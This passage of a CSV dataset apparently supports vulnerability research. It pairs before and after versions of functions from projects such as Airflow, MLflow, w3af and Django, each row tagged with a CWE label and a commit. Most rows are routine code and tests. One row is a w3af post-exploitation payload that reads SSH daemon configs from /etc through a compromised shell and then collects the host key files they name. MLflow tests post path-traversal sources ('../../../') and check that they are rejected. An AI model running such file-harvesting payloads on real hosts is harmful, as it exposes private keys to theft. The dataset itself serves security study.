    elif sub_command in sub_commands_to_check_for_sensitive_fields:
        for idx, command in enumerate(full_command):
            if command in sensitive_fields:
                # For cases when password is passed as ""--password xyz"" (with space between key and value)
                full_command[idx + 1] = ""*"" * 8
            else:
                # For cases when password is passed as ""--password=xyz"" (with '=' between key and value)
                for sensitive_field in sensitive_fields:
                    if command.startswith(f""{sensitive_field}=""):
                        full_command[idx] = f'{sensitive_field}={""*"" * 8}'

    # handle conn-json and conn-uri separately as it requires different handling
    if ""--conn-json"" in full_command:
        import json

        json_index = full_command.index(""--conn-json"") + 1
        conn_json = json.loads(full_command[json_index])
        for k in conn_json:
            if k and should_hide_value_for_key(k):
                conn_json[k] = ""*"" * 8
        full_command[json_index] = json.dumps(conn_json)

    if ""--conn-uri"" in full_command:
        from urllib.parse import urlparse, urlunparse

        uri_index = full_command.index(""--conn-uri"") + 1
        conn_uri = full_command[uri_index]
        parsed_uri = urlparse(conn_uri)
        if parsed_uri.password:
            password = ""*"" * 8
            netloc = f""{parsed_uri.username}:{password}@{parsed_uri.hostname}""
            if parsed_uri.port:
                netloc += f"":{parsed_uri.port}""

        full_command[uri_index] = urlunparse(
            (
                parsed_uri.scheme,
                netloc,
                parsed_uri.path,
                parsed_uri.params,
                parsed_uri.query,
                parsed_uri.fragment,
            )
        )

    metrics = {
        ""sub_command"": func_name,
        ""start_datetime"": timezone.utcnow(),
        ""full_command"": f""{full_command}"",
        ""user"": getuser(),
    }

    if not isinstance(namespace, Namespace):
        raise ValueError(
            f""namespace argument should be argparse.Namespace instance, but is {type(namespace)}""
        )
    tmp_dic = vars(namespace)
    metrics[""dag_id""] = tmp_dic.get(""dag_id"")
    metrics[""task_id""] = tmp_dic.get(""task_id"")
    metrics[""logical_date""] = tmp_dic.get(""logical_date"")
    metrics[""host_name""] = socket.gethostname()

    return metrics"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/config.py,0,"def convert_legacy_blacklist_data(self):
        '''Detect legacy blacklist data and convert it to new format.'''
        bad_calls_list = []
        bad_imports_list = []

        bad_calls = self.get_option('blacklist_calls') or {}
        bad_calls = bad_calls.get('bad_name_sets', {})
        for item in bad_calls:
            for key, val in six.iteritems(item):
                val['name'] = key
                val['message'] = val['message'].replace('{func}', '{name}')
                bad_calls_list.append(val)

        bad_imports = self.get_option('blacklist_imports') or {}
        bad_imports = bad_imports.get('bad_import_sets', {})
        for item in bad_imports:
            for key, val in six.iteritems(item):
                val['name'] = key
                val['message'] = val['message'].replace('{module}', '{name}')
                val['qualnames'] = val['imports']
                del val['imports']
                bad_imports_list.append(val)

        if bad_imports_list or bad_calls_list:
            LOG.warning('Legacy blacklist data found in config, overriding '
                        'data plugins')
        return bad_calls_list, bad_imports_list",UNKNOWN,PyCQA/bandit,7c7d0f854ed40287bbd3c7a6f0ff90ffc59c7bdf,"def convert_legacy_blacklist_data(self):
        '''Detect legacy blacklist data and convert it to new format.'''
        bad_calls_list = []
        bad_imports_list = []

        bad_calls = self.get_option('blacklist_calls') or {}
        bad_calls = bad_calls.get('bad_name_sets', {})
        for item in bad_calls:
            for key, val in six.iteritems(item):
                val['name'] = key
                val['message'] = val['message'].replace('{func}', '{name}')
                bad_calls_list.append(val)

        bad_imports = self.get_option('blacklist_imports') or {}
        bad_imports = bad_imports.get('bad_import_sets', {})
        for item in bad_imports:
            for key, val in six.iteritems(item):
                val['name'] = key
                val['message'] = val['message'].replace('{module}', '{name}')
                val['qualnames'] = val['imports']
                del val['imports']
                bad_imports_list.append(val)

        if bad_imports_list or bad_calls_list:
            LOG.warning('Legacy blacklist data found in config, overriding '
                        'data plugins')
        return bad_calls_list, bad_imports_list"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_create_model_version_with_non_local_source(mlflow_client, monkeypatch):
    name = ""model""
    mlflow_client.create_registered_model(name)
    exp_id = mlflow_client.create_experiment(""test"")
    run = mlflow_client.create_run(experiment_id=exp_id)

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri[len(""file://"") :],
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Test that remote uri's supplied as a source with absolute paths work fine
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts:/models"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # A single trailing slash
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts:/models/"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Multiple trailing slashes
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts:/models///"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Multiple slashes
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts:/models/foo///bar"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts://host:9000/models"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Test that invalid remote uri's cannot be created
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts://host:9000/models/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""http://host:9000/models/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""https://host/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""s3a://my_bucket/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""ftp://host:8888/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]",CWE-703,mlflow/mlflow,5412ebeeac1756cf9115561b6a2e93702bdda400,"def test_create_model_version_with_non_local_source(mlflow_client, monkeypatch):
    name = ""model""
    mlflow_client.create_registered_model(name)
    exp_id = mlflow_client.create_experiment(""test"")
    run = mlflow_client.create_run(experiment_id=exp_id)

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri[len(""file://"") :],
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Test that remote uri's supplied as a source with absolute paths work fine
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts:/models"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts://host:9000/models"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # Test that invalid remote uri's cannot be created
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""mlflow-artifacts://host:9000/models/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""http://host:9000/models/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""https://host/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""s3a://my_bucket/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""ftp://host:8888/api/2.0/mlflow-artifacts/artifacts/../../../"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""If supplying a source as an http, https,"" in response.json()[""message""]"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/bloomfilter/tests/generic_filter_test.py,0,"def test_scale(self):
        if not isinstance(self.filter, ScalableBloomFilter):
            return
        
        count = 12500
        for i in xrange(0, count):
            self.filter.add(i)
        
        self.assertGreater(self.filter.capacity, count)
        
        self.assertEqual(self.filter.capacity, 15000)
        self.assertLessEqual(len(self.filter), count)
        
        self.assertLessEqual(
                             abs((len(self.filter) / float(count)) - 1.0),
                             self.filter.error_rate
                             )",,andresriancho/w3af,96fca2b9b4b210a79969b0528e3f56a810faae53,"def test_scale(self):
        if not isinstance(self.filter, ScalableBloomFilter):
            return
        
        count = 12500
        for i in xrange(0, count):
            self.filter.add(i)
        
        self.assertGreater(self.filter.capacity, count)
        
        self.assertEqual(self.filter.capacity, 50000)
        self.assertLessEqual(len(self.filter), count)
        
        self.assertLessEqual(
                             abs((len(self.filter) / float(count)) - 1.0),
                             self.filter.error_rate
                             )"
,UNKNOWN,UNKNOWN,tests/sensors/test_external_task_sensor.py,1,"def assert_ti_state_equal(task_instance, state):
    """"""
    Assert state of task_instances equals the given state.
    """"""
    task_instance.refresh_from_db()
    assert task_instance.state == state",CWE-703,apache/airflow,0ab6139319f6c26767adec6fffa53c115b3a5282,"def assert_ti_state_equal(task_instance, state):
    """"""
    Assert state of task_instances equals the given state.
    """"""
    task_instance.refresh_from_db()
    assert task_instance.state == state"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/payloads/payloads/ssh_config_files.py,0,"def api_read(self, parameters):
        result = {}
        files = []

        def parse_hostkey(config):
            hostkey = re.findall('(?<=HostKey )(.*)', config, re.MULTILINE)
            if hostkey:
                return hostkey
            else:
                return ''

        files.append('/etc/ssh/sshd_config')
        files.append('/etc/rssh.conf')
        files.append('/usr/local/etc/sshd_config')
        files.append('/etc/sshd_config')
        files.append('/etc/openssh/sshd_config')

        for file_ in files:
            hostkey = parse_hostkey(self.shell.read(file_))
            for key in hostkey:
                files.append(key)

        for file_ in files:
            content = self.shell.read(file_)
            if content:
                result[file_] = content

        return result",,andresriancho/w3af,aeeb800df75b7afbd49574fd2fcc93363e5c8e26,"def api_read(self, parameters):
        result = {}
        files = []

        def parse_hostkey(config):
            hostkey = re.findall('(?<=HostKey )(.*)', config, re.MULTILINE)
            if hostkey:
                return hostkey
            else:
                return ''

        files.append('/etc/ssh/sshd_config')
        files.append('/etc/rssh.conf')
        files.append('/usr/local/etc/sshd_config')
        files.append('/etc/sshd_config')
        files.append('/etc/openssh/sshd_config')

        for file in files:
            hostkey = parse_hostkey(self.shell.read(file))
            for key in hostkey:
                files.append(key)

        for file in files:
            content = self.shell.read(file)
            if content:
                result[file] = content

        return result"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpserver_test.py,0,"def test_unix_socket_bad_request(self):
        # Unix sockets don't have remote addresses so they just return an
        # empty string.
        with ExpectLog(gen_log, ""Malformed HTTP request from""):
            self.stream.write(b""garbage\r\n\r\n"")
            self.stream.read_until_close(self.stop)
            response = self.wait()
        self.assertEqual(response, b"""")",CWE-Unknown,tornadoweb/tornado,38330deff4a74ae0d7e25e5778b891ec72692667,"def test_unix_socket_bad_request(self):
        # Unix sockets don't have remote addresses so they just return an
        # empty string.
        with ExpectLog(gen_log, ""Malformed HTTP request from ''""):
            self.stream.write(b""garbage\r\n\r\n"")
            self.stream.read_until_close(self.stop)
            response = self.wait()
        self.assertEqual(response, b"""")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connections/zone.py,0,"def fetch_file(self, in_path, out_path):
        ''' fetch a file from zone to local '''

        vvv(""FETCH %s TO %s"" % (in_path, out_path), host=self.zone)


        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE), None)
        except OSError:
            raise errors.AnsibleError(""zone connection requires dd command in the zone"")


        with open(out_path, 'wb+') as out_file:
            try:
                chunk = p.stdout.read(BUFSIZE)
                while chunk:
                    out_file.write(chunk)
                    chunk = p.stdout.read(BUFSIZE)
            except:
                traceback.print_exc()
                raise errors.AnsibleError(""failed to transfer file %s to %s"" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise errors.AnsibleError(""failed to transfer file %s to %s:\n%s\n%s"" % (in_path, out_path, stdout, stderr))",,ansible/ansible,e461241d7b585e36ad47470ac7c913a6cd189660,"def fetch_file(self, in_path, out_path):
        ''' fetch a file from zone to local '''

        vvv(""FETCH %s TO %s"" % (in_path, out_path), host=self.zone)


        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE), None)
        except OSError:
            raise errors.AnsibleError(""zone connection requires dd command in the zone"")


        with open(out_path, 'wb+') as out_file:
            try:
                for chunk in p.stdout.read(BUFSIZE):
                    out_file.write(chunk)
            except:
                traceback.print_exc()
                raise errors.AnsibleError(""failed to transfer file %s to %s"" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise errors.AnsibleError(""failed to transfer file %s to %s:\n%s\n%s"" % (in_path, out_path, stdout, stderr))"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_task_instances.py,1,"def test_should_respond_200_with_versions(self, test_client, run_id, expected_version_number):
        response = test_client.get(f""/dags/dag_with_multiple_versions/dagRuns/{run_id}/taskInstances/task1"")

        assert response.status_code == 200
        assert response.json() == {
            ""id"": mock.ANY,
            ""task_id"": ""task1"",
            ""dag_id"": ""dag_with_multiple_versions"",
            ""dag_run_id"": run_id,
            ""map_index"": -1,
            ""logical_date"": mock.ANY,
            ""start_date"": None,
            ""end_date"": mock.ANY,
            ""duration"": None,
            ""state"": None,
            ""try_number"": 0,
            ""max_tries"": 0,
            ""task_display_name"": ""task1"",
            ""hostname"": """",
            ""unixname"": getuser(),
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""queue"": ""default"",
            ""priority_weight"": 1,
            ""operator"": ""EmptyOperator"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""pid"": None,
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""note"": None,
            ""rendered_map_index"": None,
            ""rendered_fields"": {},
            ""run_after"": mock.ANY,
            ""trigger"": None,
            ""triggerer_job"": None,
            ""dag_version"": {
                ""id"": mock.ANY,
                ""version_number"": expected_version_number,
                ""dag_id"": ""dag_with_multiple_versions"",
                ""bundle_name"": ""dag_maker"",
                ""bundle_version"": f""some_commit_hash{expected_version_number}"",
                ""bundle_url"": None,
                ""created_at"": mock.ANY,
            },
        }",CWE-703,apache/airflow,32b3f7cee6d3f3945b215b070c82341b31341c04,"def test_should_respond_200_with_versions(self, test_client, run_id, expected_version_number):
        response = test_client.get(f""/dags/dag_with_multiple_versions/dagRuns/{run_id}/taskInstances/task1"")

        assert response.status_code == 200
        assert response.json() == {
            ""id"": mock.ANY,
            ""task_id"": ""task1"",
            ""dag_id"": ""dag_with_multiple_versions"",
            ""dag_run_id"": run_id,
            ""map_index"": -1,
            ""logical_date"": mock.ANY,
            ""start_date"": None,
            ""end_date"": mock.ANY,
            ""duration"": None,
            ""state"": None,
            ""try_number"": 0,
            ""max_tries"": 0,
            ""task_display_name"": ""task1"",
            ""hostname"": """",
            ""unixname"": getuser(),
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""queue"": ""default"",
            ""priority_weight"": 1,
            ""operator"": ""EmptyOperator"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""pid"": None,
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""note"": None,
            ""rendered_map_index"": None,
            ""rendered_fields"": {},
            ""run_after"": mock.ANY,
            ""trigger"": None,
            ""triggerer_job"": None,
            ""dag_version"": {
                ""id"": mock.ANY,
                ""version_number"": expected_version_number,
                ""dag_id"": ""dag_with_multiple_versions"",
                ""bundle_name"": ""dag_maker"",
                ""bundle_version"": f""some_commit_hash{expected_version_number}"",
                ""bundle_url"": f""fakeprotocol://test_host.github.com/tree/some_commit_hash{expected_version_number}/dags"",
                ""created_at"": mock.ANY,
            },
        }"
,UNKNOWN,UNKNOWN,chart/tests/test_redis.py,1,"def test_redis_resources_are_not_added_by_default(self):
        docs = render_chart(
            show_only=[""templates/redis/redis-statefulset.yaml""],
        )
        assert jmespath.search(""spec.template.spec.containers[0].resources"", docs[0]) == {}",CWE-703,apache/airflow,7d97547257ae436ea35ee35cf1a598ebd080050f,"def test_redis_resources_are_not_added_by_default(self):
        docs = render_chart(
            show_only=[""templates/redis/redis-statefulset.yaml""],
        )
        assert jmespath.search(""spec.template.spec.containers[0].resources"", docs[0]) == {}"
,UNKNOWN,UNKNOWN,dev/breeze/tests/test_run_test_args.py,1,"def test_irregular_provider_with_extra_ignore_should_be_valid_cmd(mock_run_command, mock_fixture, request):
    """"""When a provider is suspended or excluded, we expect ""--ignore"" switches to wind up in the cmd args""""""
    fake_provider_name = ""unittestingprovider""

    mock_to_train = request.getfixturevalue(mock_fixture)
    mock_to_train.return_value = [fake_provider_name]

    _run_test(
        shell_params=ShellParams(test_group=GroupOfTests.PROVIDERS, test_type=""Providers""),
        extra_pytest_args=(f""--ignore=providers/tests/{fake_provider_name}"",),
        python_version=""3.9"",
        output=None,
        test_timeout=60,
        skip_docker_compose_down=True,
    )

    # the docker run command is the second call to run_command; the command arg list is the first
    # positional arg of the command call
    run_cmd_call = mock_run_command.call_args_list[1]
    arg_str = "" "".join(run_cmd_call.args[0])

    # The command pattern we look for is ""<container id> <tests directory arg> \
    # <*other args we don't care about*> --ignore providers/tests/<provider name> \
    # --ignore providers/tests/system/<provider name> --ignore providers/tests/integration/<provider name>""
    # (the container id is simply to anchor the pattern so we know where we are starting; _run_tests should
    # be refactored to make arg testing easier but until then we have to regex-test the entire command string
    match_pattern = re.compile(
        f"".* airflow providers/.*/tests.*providers/tests .* --ignore=providers/tests/{fake_provider_name} ""
        f""--ignore=providers/tests/system/{fake_provider_name} ""
        f""--ignore=providers/tests/integration/{fake_provider_name}""
    )

    assert match_pattern.search(arg_str), arg_str",CWE-703,apache/airflow,d35edbf66172c22712925606a55e57978b67ce42,"def test_irregular_provider_with_extra_ignore_should_be_valid_cmd(mock_run_command, mock_fixture, request):
    """"""When a provider is suspended or excluded, we expect ""--ignore"" switches to wind up in the cmd args""""""
    fake_provider_name = ""unittestingprovider""

    mock_to_train = request.getfixturevalue(mock_fixture)
    mock_to_train.return_value = [fake_provider_name]

    _run_test(
        shell_params=ShellParams(test_group=GroupOfTests.PROVIDERS, test_type=""Providers""),
        extra_pytest_args=(f""--ignore=providers/tests/{fake_provider_name}"",),
        python_version=""3.9"",
        output=None,
        test_timeout=60,
        skip_docker_compose_down=True,
    )

    # the docker run command is the second call to run_command; the command arg list is the first
    # positional arg of the command call
    run_cmd_call = mock_run_command.call_args_list[1]
    arg_str = "" "".join(run_cmd_call.args[0])

    # The command pattern we look for is ""<container id> <tests directory arg> \
    # <*other args we don't care about*> --ignore providers/tests/<provider name> \
    # --ignore providers/tests/system/<provider name> --ignore providers/tests/integration/<provider name>""
    # (the container id is simply to anchor the pattern so we know where we are starting; _run_tests should
    # be refactored to make arg testing easier but until then we have to regex-test the entire command string
    match_pattern = re.compile(
        f"".* airflow providers/.*/tests.*providers/tests .* --ignore=providers/tests/{fake_provider_name} ""
        f""--ignore=providers/tests/system/{fake_provider_name} ""
        f""--ignore=providers/tests/integration/{fake_provider_name}""
    )

    assert match_pattern.search(arg_str), arg_str"
,UNKNOWN,UNKNOWN,providers/google/tests/unit/google/cloud/links/test_cloud_run.py,1,"def test_get_link(self, create_task_instance_of_operator, session, mock_supervisor_comms):
        link = CloudRunJobLoggingLink()
        ti = create_task_instance_of_operator(
            CloudRunExecuteJobOperator,
            dag_id=""test_cloud_run_job_logging_link_dag"",
            task_id=""test_cloud_run_job_logging_link_task"",
            job_name=""test-job"",
            project_id=""test-project"",
            region=""test-region"",
        )
        session.add(ti)
        session.commit()
        link.persist(context={""ti"": ti}, task_instance=ti.task, log_uri=TEST_LOG_URI)
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.send.return_value = XComResult(
                key=""key"",
                value=TEST_LOG_URI,
            )
        actual_url = link.get_link(operator=ti.task, ti_key=ti.key)
        assert actual_url == TEST_LOG_URI",CWE-703,apache/airflow,492518edfae38bfdb00fc0f088a3524e102ec8f1,"def test_get_link(self, create_task_instance_of_operator, session, mock_supervisor_comms):
        link = CloudRunJobLoggingLink()
        ti = create_task_instance_of_operator(
            CloudRunExecuteJobOperator,
            dag_id=""test_cloud_run_job_logging_link_dag"",
            task_id=""test_cloud_run_job_logging_link_task"",
            job_name=""test-job"",
            project_id=""test-project"",
            region=""test-region"",
        )
        session.add(ti)
        session.commit()
        link.persist(context={""ti"": ti}, task_instance=ti.task, log_uri=TEST_LOG_URI)
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.get_message.return_value = XComResult(
                key=""key"",
                value=TEST_LOG_URI,
            )
        actual_url = link.get_link(operator=ti.task, ti_key=ti.key)
        assert actual_url == TEST_LOG_URI"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def response_add(self, request, obj, post_url_continue='../%s/'):
        """"""
        Determines the HttpResponse for the add_view stage.
        """"""
        opts = obj._meta
        pk_value = obj._get_pk_val()

        msg = _('The %(name)s ""%(obj)s"" was added successfully.') % {'name': force_unicode(opts.verbose_name), 'obj': force_unicode(obj)}
        # Here, we distinguish between different save types by checking for
        # the presence of keys in request.POST.
        if ""_continue"" in request.POST:
            self.message_user(request, msg + ' ' + _(""You may edit it again below.""))
            if ""_popup"" in request.POST:
                post_url_continue += ""?_popup=1""
            return HttpResponseRedirect(post_url_continue % pk_value)

        if ""_popup"" in request.POST:
            return HttpResponse(
                '<!DOCTYPE html><html><head><title></title></head><body>'
                '<script type=""text/javascript"">opener.dismissAddAnotherPopup(window, ""%s"", ""%s"");</script></body></html>' % \
                # escape() calls force_unicode.
                (escape(pk_value), escapejs(obj)))
        elif ""_addanother"" in request.POST:
            self.message_user(request, msg + ' ' + (_(""You may add another %s below."") % force_unicode(opts.verbose_name)))
            return HttpResponseRedirect(request.path)
        else:
            self.message_user(request, msg)

            # Figure out where to redirect. If the user has change permission,
            # redirect to the change-list page for this object. Otherwise,
            # redirect to the admin index.
            if self.has_change_permission(request, None):
                post_url = reverse('admin:%s_%s_changelist' %
                                   (opts.app_label, opts.module_name),
                                   current_app=self.admin_site.name)
            else:
                post_url = reverse('admin:index',
                                   current_app=self.admin_site.name)
            return HttpResponseRedirect(post_url)",CWE-Unknown,django/django,6d39cb4119a0fa502fca1f9b3d07436fbd258655,"def response_add(self, request, obj, post_url_continue='../%s/'):
        """"""
        Determines the HttpResponse for the add_view stage.
        """"""
        opts = obj._meta
        pk_value = obj._get_pk_val()

        msg = _('The %(name)s ""%(obj)s"" was added successfully.') % {'name': force_unicode(opts.verbose_name), 'obj': force_unicode(obj)}
        # Here, we distinguish between different save types by checking for
        # the presence of keys in request.POST.
        if ""_continue"" in request.POST:
            self.message_user(request, msg + ' ' + _(""You may edit it again below.""))
            if ""_popup"" in request.POST:
                post_url_continue += ""?_popup=1""
            return HttpResponseRedirect(post_url_continue % pk_value)

        if ""_popup"" in request.POST:
            return HttpResponse('<script type=""text/javascript"">opener.dismissAddAnotherPopup(window, ""%s"", ""%s"");</script>' % \
                # escape() calls force_unicode.
                (escape(pk_value), escapejs(obj)))
        elif ""_addanother"" in request.POST:
            self.message_user(request, msg + ' ' + (_(""You may add another %s below."") % force_unicode(opts.verbose_name)))
            return HttpResponseRedirect(request.path)
        else:
            self.message_user(request, msg)

            # Figure out where to redirect. If the user has change permission,
            # redirect to the change-list page for this object. Otherwise,
            # redirect to the admin index.
            if self.has_change_permission(request, None):
                post_url = reverse('admin:%s_%s_changelist' %
                                   (opts.app_label, opts.module_name),
                                   current_app=self.admin_site.name)
            else:
                post_url = reverse('admin:index',
                                   current_app=self.admin_site.name)
            return HttpResponseRedirect(post_url)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_attr.py,0,"def __repr__(self):
        return '<SFTPAttributes: %s>' % self._debug_str()",,paramiko/paramiko,ecb297518267487853813109da946d7240d717e1,"def __repr__(self):
        return '<SFTPAttributes: %s>' % self._debug_str()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/model_utils.py,0,"def _get_flavor_configuration_from_uri(model_uri, flavor_name, logger):
    """"""
    Obtains the configuration for the specified flavor from the specified
    MLflow model uri. If the model does not contain the specified flavor,
    an exception will be thrown.

    :param model_uri: The path to the root directory of the MLflow model for which to load
                       the specified flavor configuration.
    :param flavor_name: The name of the flavor configuration to load.
    :param logger: The local flavor's logger to report the resolved path of the model uri.
    :return: The flavor configuration as a dictionary.
    """"""
    try:
        resolved_uri = model_uri
        if RunsArtifactRepository.is_runs_uri(model_uri):
            resolved_uri = RunsArtifactRepository.get_underlying_uri(model_uri)
            logger.info(""'%s' resolved as '%s'"", model_uri, resolved_uri)
        elif ModelsArtifactRepository.is_models_uri(model_uri):
            resolved_uri = ModelsArtifactRepository.get_underlying_uri(model_uri)
            logger.info(""'%s' resolved as '%s'"", model_uri, resolved_uri)

        try:
            ml_model_file = _download_artifact_from_uri(
                artifact_uri=append_to_uri_path(resolved_uri, MLMODEL_FILE_NAME)
            )
        except Exception:
            logger.debug(
                f'Failed to download an ""{MLMODEL_FILE_NAME}"" model file from '
                f""resolved URI {resolved_uri}. ""
                f""Falling back to downloading from original model URI {model_uri}"",
                exc_info=True,
            )
            ml_model_file = _download_artifact_from_uri(
                artifact_uri=append_to_uri_path(model_uri, MLMODEL_FILE_NAME)
            )
    except Exception as ex:
        raise MlflowException(
            f'Failed to download an ""{MLMODEL_FILE_NAME}"" model file from ""{model_uri}""',
            RESOURCE_DOES_NOT_EXIST,
        ) from ex
    return _get_flavor_configuration_from_ml_model_file(ml_model_file, flavor_name)",,mlflow/mlflow,43af84626ca8e83521cb59cb2b3dc0b103f65a0a,"def _get_flavor_configuration_from_uri(model_uri, flavor_name, logger):
    """"""
    Obtains the configuration for the specified flavor from the specified
    MLflow model uri. If the model does not contain the specified flavor,
    an exception will be thrown.

    :param model_uri: The path to the root directory of the MLflow model for which to load
                       the specified flavor configuration.
    :param flavor_name: The name of the flavor configuration to load.
    :param logger: The local flavor's logger to report the resolved path of the model uri.
    :return: The flavor configuration as a dictionary.
    """"""
    try:
        resolved_uri = model_uri
        if RunsArtifactRepository.is_runs_uri(model_uri):
            resolved_uri = RunsArtifactRepository.get_underlying_uri(model_uri)
            logger.info(""'%s' resolved as '%s'"", model_uri, resolved_uri)
        elif ModelsArtifactRepository.is_models_uri(model_uri):
            resolved_uri = ModelsArtifactRepository.get_underlying_uri(model_uri)
            logger.info(""'%s' resolved as '%s'"", model_uri, resolved_uri)

        ml_model_file = _download_artifact_from_uri(
            artifact_uri=append_to_uri_path(resolved_uri, MLMODEL_FILE_NAME)
        )
    except Exception as ex:
        raise MlflowException(
            f'Failed to download an ""{MLMODEL_FILE_NAME}"" model file from ""{model_uri}""',
            RESOURCE_DOES_NOT_EXIST,
        ) from ex
    return _get_flavor_configuration_from_ml_model_file(ml_model_file, flavor_name)"
,UNKNOWN,UNKNOWN,pkg/tests/conftest.py,1,"def salt_master(salt_factories, install_salt, state_tree, pillar_tree):
    """"""
    Start up a master
    """"""
    start_timeout = None
    # Since the daemons are ""packaged"" with tiamat, the salt plugins provided
    # by salt-factories won't be discovered. Provide the required `*_dirs` on
    # the configuration so that they can still be used.
    config_defaults = {
        ""engines_dirs"": [
            str(salt_factories.get_salt_engines_path()),
        ],
        ""log_handlers_dirs"": [
